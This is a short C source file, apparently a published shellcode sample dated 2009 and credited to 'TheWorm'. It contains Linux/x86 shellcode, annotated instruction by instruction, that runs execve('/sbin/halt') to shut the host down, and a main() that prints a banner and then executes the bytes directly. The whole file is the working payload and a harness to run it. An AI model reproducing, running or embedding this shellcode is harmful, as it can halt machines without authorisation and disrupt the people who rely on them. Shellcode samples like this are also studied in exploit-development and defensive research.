#include <stdio.h> const char shellcode[]= "\x6a\x0b" // push $0xb "\x58" // pop %eax "\x99" // cltd "\x52" // push %edx "\x66\x68\x6c\x74" // pushw $0x746c "\x68\x6e\x2f\x68\x61" // push $0x61682f6e "\x68\x2f\x73\x62\x69" // push $0x6962732f "\x89\xe3" // mov %esp,%ebx "\x52" // push %edx "\x53" // push %ebx "\x89\xe1" // mov %esp,%ecx "\xcd\x80"; // int $0x80 int main() { printf ("\n[+] Linux/x86 execve(/sbin/halt,/sbin/halt)" "\n[+] Date: 11/07/2009" "\n[+] Author: TheWorm" "\n\n[+] Shellcode Size: %d bytes\n\n", sizeof(shellcode)-1); (*(void (*)()) shellcode)(); return 0; }